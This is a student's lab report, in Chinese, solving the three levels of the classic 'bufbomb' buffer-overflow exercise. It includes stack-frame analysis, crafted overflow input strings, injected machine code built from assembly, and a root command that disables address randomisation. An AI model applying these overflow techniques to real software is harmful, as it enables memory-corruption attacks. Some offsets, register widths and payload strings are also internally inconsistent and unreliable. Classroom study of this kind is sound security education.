一、 实验目标：

1. 理解程序函数调用中参数传递机制；
2. 掌握缓冲区溢出攻击方法；
3. 进一步熟练掌握 GDB 调试工具和 objdump 反汇编工具。

二、实验环境：

1. 计算机（Intel CPU）
2. Linux 64 位操作系统
3. GDB 调试工具
4. objdump 反汇编工具

三、实验内容

本实验设计为一个黑客利用缓冲区溢出技术进行攻击的游戏。我们仅给黑客（同学）提供一个二进制可执行文件 bufbomb 和部分函数的 C 代码，不提供每个关卡的源代码。程序运行中有 3 个关卡，每个关卡需要用户输入正确的缓冲区内容，否则无法通过管卡！

要求同学查看各关卡的要求，运用 **GDB 调试工具和 objdump 反汇编工具**，通过分析汇编代码和相应的栈帧结构，通过缓冲区溢出办法在执行了 getbuf()函数返回时作攻击，使之返回到各关卡要求的指定函数中。第一关只需要返回到指定函数，第二关不仅返回到指定函数还需要为该指定函数准备好参数，最后一关要求在返回到指定函数之前执行一段汇编代码完成全局变量的修改。

实验代码 bufbomb 和相关工具（sendstring/makecookie）的更详细内容请参考“实验四缓冲区溢出攻击实验.pptx”。

本实验要求解决关卡 1、2、3，给出实验思路，通过截图把实验过程和结果写在实验报告上。

四、实验步骤和结果

首先利用反汇编命令查看 getbuf 函数的汇编代码，以便分析 getbuf 在调用<Gets>时的栈帧结构，汇编代码如下：

```
08048ad0 <getbuf>:
 8048ad0:55                    push   %ebp
 8048ad1:89 e5                 mov    %esp,%ebp
 8048ad3:83 ec 28              sub    $0x28,%esp
 8048ad6:8d 45 e8              lea    -0x18(%ebp),%eax
 8048ad9:89 04 24              mov    %eax,(%esp)
 8048adc:e8 df fe ff ff        call   80489c0 <Gets>
 8048ae1:c9                    leave
 8048ae2:b8 01 00 00 00        mov    $0x1,%eax
 8048ae7:c3                    ret
 8048ae8:90                    nop
 8048ae9:8d b4 26 00 00 00 00          lea    0x0(%esi,%eiz,1),%esi
```

（一）返回到 smoke

【解题思路】

本实验中，bufbomb 中的 test()函数将会调用 getbuf()函数，getbuf()函数再调用 gets()从标准输入设备读入字符串。

系统函数 gets()未进行缓冲区溢出保护。其代码如下：

```
int getbuf()
{
    char buf[12];
    Gets(buf);
    return 1;
}
```

我们的目标是使 getbuf()返回时，不返回到 test()，而是直接返回到指定的 smoke()函数。

为此，我们可以通过构造并输入大于 getbuf()中给出的数据缓冲区的字符串而破坏 getbuf()的栈帧，替换其返回地址，将返回地址改成 smoke()函数的地址。

【解题过程】

分析 getbuf()函数的汇编代码，不难发现，getbuf()在保存%ebp 的旧值后，将%ebp 指向%esp 所指的位置，然后将栈指针减去 0x28 来分配额外的 20 个字节的地址空间。字符数组 buf 的位置用%ebp 下 0x18(即 24)个字节来计算。然后调用 Gets（）函数，读取的字符串返回到%ebp-0x18，即%ebp-24。

通过分析，可做如下栈帧示意图：

栈帧	内容
返回地址	属于调用者的栈帧
保存的%ebp旧值	%ebp
20-23	
16-19	
12-15	
[11][10][9][8]	
[7][6][5][4]	
[3][2][1][0]	buf,%ebp-0x18
	%esp，%ebp-0x24

从以上分析可得，只要输入字符比较短时，gets 返回的字符串（包括末尾的‘\0’）就能够放进 buf 分配的空间里。而长一些的字符串就会导致 gets 返回字符串过长而覆盖栈上存储的某些信息。

随着字符串变长，下面的信息会被破坏：

输入的字符数量	附加的被破坏的状态
0-11	无
12-23	分配后未使用的空间
24-27	保存的%ebp旧值
28-31	返回地址
32+	调用者test()中保存的状态

因此，我们要替换返回地址，只需要构造一个长度至少为 32 的字符串，其中的第 0~11 个字符放进 buf 分配的空间里，第 12~23 个字符放进程序分配后未使用的空间里，第 24~27 个字符覆盖保存的%ebp 旧值，第 28-31 个字符覆盖返回地址。

由于替换掉返回地址后，getbuf()函数将不会再返回到 test()中，所以覆盖掉 test()的%ebp 旧值并不会对程序有任何影响。因此构造的长度为 32 的字符串前 28 个字符可以为任意值，而后面四个字符为 smoke()函数的地址。通过反汇编查看代码，可以发现，smoke 函数的地址为 08048eb0

```
08048eb0 <smoke>:
```

由于我的学号是 2019284073，因此，不妨构造如下攻击输入语句：

```
2019284073201928407320192840732019284073201928407320192840730000000b08e0408
```

【测试结果】

此时我们进行测试，使用管道将输入流重定向到 bufbomb 中：

```
dongyunhao_2019284073@ubuntu:~/expirement4$ cat ans1.txt | ./sendstring | ./bufb
omb -t 2019284073
Team: 2019284073
Cookie: 0x642b7ea2
Type string:Smoke!: You called smoke()
NICE JOB!
Sent validation information to grading server
```

答案正确，成功地调用了 smoke 函数

（二）返回到 fizz()并准备相应参数

【解题思路】

这一关要求返回到 fizz()并传入自己的 cookie 值作为参数，破解的思路和第一关是类似的，构造一个超过缓冲区长度的字符串将返回地址替换成 fizz()的地址，只是增加了一个传入参数，所以在读入字符串时，要把 fizz()函数读取参数的地址替换成自己的 cookie 值，具体细节见解题过程。

【解题过程】

首先观察 fizz()的汇编代码：

```
08048e60 <fizz>:
 8048e60:55                    push   %ebp
 8048e61:89 e5                 mov    %esp,%ebp
 8048e63:83 ec 08              sub    $0x8,%esp
 8048e66:8b 45 08              mov    0x8(%ebp),%eax
 8048e69:3b 05 d4 a1 04 08              cmp    0x804a1d4,%eax
 8048e6f: 74 1f                je     8048e90 <fizz+0x30>
 8048e71:89 44 24 04           mov    %eax,0x4(%esp)
 8048e75:c7 04 24 8c 98 04 08           movl   $0x804988c,(%esp)
 8048e7c: e8 27 f9 ff ff       call   80487a8 <printf@plt>
 8048e81:c7 04 24 00 00 00 00           movl   $0x0,(%esp)
 8048e88:e8 5b f9 ff ff        call   80487e8 <exit@plt>
 8048e8d:8d 76 00              lea    0x0(%esi),%esi
 8048e90:89 44 24 04           mov    %eax,0x4(%esp)
 8048e94:c7 04 24 d9 95 04 08           movl   $0x80495d9,(%esp)
 8048e9b:e8 08 f9 ff ff        call   80487a8 <printf@plt>
 8048ea0:c7 04 24 01 00 00 00           movl   $0x1,(%esp)
 8048ea7:e8 44 fc ff ff        call   8048af0 <validate>
 8048eac: eb d3                jmp    8048e81 <fizz+0x21>
 8048eae: 89 f6                mov    %esi,%esi
```

从汇编代码可知，fizz()函数被调用时首先保存%ebp 旧值并分配新的空间，然后读取%ebp-0x8 地址处的内容作为传入的参数，要求传入的参数是自己的 cookie 值。也就是说传入的参数其实是存在%ebp-0x8 处的，具体的栈帧结构如下：

栈帧	内容
传入的参数	%ebp+0x8
	%ebp+0x4
保存的%ebp旧值	%ebp
	%esp

对应到 getbuf()函数中的栈帧结构如下：

栈帧	内容
	需要替换成cookie传入fizz()
	任意替换
返回地址	属于调用者的栈帧
保存的%ebp旧值	%ebp，需要替换成fizz()的地址
	任意替换
	任意替换
	任意替换
[11][10][9][8]	
[7][6][5][4]	
[3][2][1][0]	buf,%ebp-0x18
	%esp，%ebp-0x24

由以上结构不难判断出,我们需要读入buf的字符串为“28个任意字符+fizz()的地址+4个任意的字符+自己的cookie值”

通过反汇编，可以知道fizz()的地址为0x08048e60

再利用makecookie生成自己的cookie值为642b7ea2

```
dongyunhao_2019284073@ubuntu:~/expirement4$ ./makecookie 2019284073
0x642b7ea2
```

由于我的学号是2019284073，因此，不妨构造如下攻击输入语句：

```
2019284073201928407320192840732019284073201928407300000060 8e040800000 00a27e2b64
```

【测试结果】

此时我们进行测试，使用管道将输入流重定向到bufbomb中：

```
dongyunhao_2019284073@ubuntu:~/expirement4$ cat ans2.txt | ./sendstring | ./bufb
omb -t 2019284073
Team: 2019284073
Cookie: 0x642b7ea2
Type string:Fizz!: You called fizz(0x642b7ea2)
NICE JOB!
Sent validation information to grading server
```

答案正确，成功地调用了 fizz 函数

（三）返回到 bang()且修改 global_value

【解题思路】

这一关要求先修改全局变量 global_value 的值为自己的 cookie 值，再返回到 band()。为此需要先编写一段代码，在代码中把 global_value 的值改为自己的 cookie 后返回到 band()函数。将这段代码通过 GCC 产生目标文件后读入到 buf 数组中，并使 getbuf 函数的返回到 buf 数组的地址，这样程序就会执行我们写的代码,修改 global_value 的值并调用 band()函数。具体细节见解题过程。

【解题过程】

首先，为了能精确地指定跳转地址，先在 root 权限下关闭 Linux 的内存地址随机化：

```
root@ubuntu:/home/dongyunhao_2019284073/expirement4# sysctl -w kernel.randomize_
va_space=0
kernel.randomize_va_space = 0
```

观察 bang()的汇编代码：

```
08048e10 <bang>:
 8048e10:55                     push   %ebp
 8048e11:89 e5                  mov    %esp,%ebp
 8048e13:83 ec 08               sub    $0x8,%esp
 8048e16:a1 c4 a1 04 08         mov    0x804a1c4,%eax
 8048e1b:3b 05 d4 a1 04 08            cmp    0x804a1d4,%eax
 8048e21:74 1d                  je     8048e40 <bang+0x30>
 8048e23:89 44 24 04            mov    %eax,0x4(%esp)
 8048e27:c7 04 24 bb 95 04 08         movl   $0x80495bb,(%esp)
 8048e2e:e8 75 f9 ff ff         call   80487a8 <printf@plt>
 8048e33:c7 04 24 00 00 00 00         movl   $0x0,(%esp)
 8048e3a:e8 a9 f9 ff ff         call   80487e8 <exit@plt>
 8048e3f: 90                    nop
 8048e40:89 44 24 04            mov    %eax,0x4(%esp)
 8048e44:c7 04 24 64 98 04 08         movl   $0x8049864,(%esp)
 8048e4b:e8 58 f9 ff ff         call   80487a8 <printf@plt>
 8048e50:c7 04 24 02 00 00 00         movl   $0x2,(%esp)
 8048e57:e8 94 fc ff ff         call   8048af0 <validate>
 8048e5c:eb d5                  jmp    8048e33 <bang+0x23>
 8048e5e:89 f6                  mov    %esi,%esi
```

很明显，bang()函数首先读取 0x804a1c4 和 0x804a1d4 的地址的内容并进行比较，要求两个地址中的内容相同，我们不妨使用 gdb 查看对应地址的值：

```
(gdb) p (char*) 0x804a1c4
$1 = 0x804a1c4 <global_value> ""
(gdb) p (char*) 0x804a1d4
$2 = 0x804a1d4 <cookie> ""
```

可以发现，0x804a1c4 就是全局变量 global_value 的地址，0x804a1d4 是 cookie 的地址。因此，我们只要在自己写的代码中，把地址 0x804a1d4 的内容存到地址 0x804a1c4 即可。通过反汇编，可以获得 bang()函数的入口地址为 0x08048e10

此时，可以确定我们自己写的代码要干的事情了。首先是将 global_value 的值设置为 cookie 的值，也就是将 0x804a1c4 的值设置为 0x804a1d4 的值，然后将 bang()函数的入口地址 0x08048e10 压入栈中，这样当函数返回的时候，就会直接取栈顶作为返回地址，从而调用 bang()函数。接着函数返回，此时返回的地址就是上一条语句中压入栈中的地址，也就是 bang()函数的入口地址了。

不妨创建一个 temp.s 的文件用于存汇编代码：

```
mov (0x0804a1d4), %rdx
mov %rdx, (0x0804a1c4)
mov $0x08048e10, %rdx
jmp *%rdx
```

通过 gcc 编译该汇编代码，再反编译输出到 temp.txt 中

```
dongyunhao_2019284073@ubuntu:~/expirement4$ gcc -c temp.s -o temp.o
dongyunhao_2019284073@ubuntu:~/expirement4$ objdump -d temp.o >temp.txt
```

temp.txt - 记事本

文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H)

```
temp.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 8b 14 25 d4 a1 04          mov    0x804a1d4,%rdx
   7:   08
   8:   48 89 14 25 c4 a1 04          mov    %rdx,0x804a1c4
   f:   08
  10:   48 c7 c2 10 8e 04 08          mov    $0x8048e10,%rdx
  17:   ff e2                    jmpq   *%rdx
```

在将这段机器码放入 buf 数组中后，为了能让 getbuf()返回到 buf 数组处执行我们的代码，需要想办法得到 buf 数组的地址。为此，用 gdb 断点调试查看执行 getbuf()时 ebp 的值为 0xffffbe28

```
(gdb) b getbuf
Breakpoint 1 at 0x8048ad6
(gdb) run -t 2019284073
Starting program: /home/dongyunhao_2019284073/e
Team: 2019284073
Cookie: 0x642b7ea2

Breakpoint 1, 0x08048ad6 in getbuf ()
(gdb) p $ebp
$1 = (void *) 0xffffbe28
```

从第一关中对 getbuf()函数栈帧结构的分析可知 buf 数组的首地址为%ebp-0x18，即 0xffffbe18

综上所述，最后我们要构造的字符串为自己写的汇编代码生成的机器码(20 个字符)+8 个任意字符+buf 数组的首地址，则对应的字符串为：

488b1425d4a1040848891425c4a1040848c7c2108e0408ffe200000010beffff

【测试结果】

此时我们进行测试，使用管道将输入流重定向到 bufbomb 中：

```
dongyunhao_2019284073@ubuntu:~/expirement4$ cat ans3.txt | ./sendstring | ./bufb
omb -t 2019284073
Team: 2019284073
Cookie: 0x642b7ea2
Type string:Bang!: You set global_value to 0x642b7ea2
NICE JOB!
Sent validation information to grading server
```

答案正确，成功地将 golbal_value 设置为了我的 cookie

五、实验总结与体会

本次实验中，复习了之前学过的很多知识：

- 寄存器的功能；
- 寻址方式；
- 操作指令

通过本实验，我学习了利用缓冲区溢出漏洞对程序进行攻击的方法，对程序运行时的栈帧结构有了跟深层次的了解。也学会了通过使用 gdb 调试完成对程序的运行情况进行检查并获取程序运行过程中的值。

此外，本次实验给我的启示是，在自己编写程序过程中，也需要尤为注意缓冲区溢出的情况，防范缓冲区溢出攻击。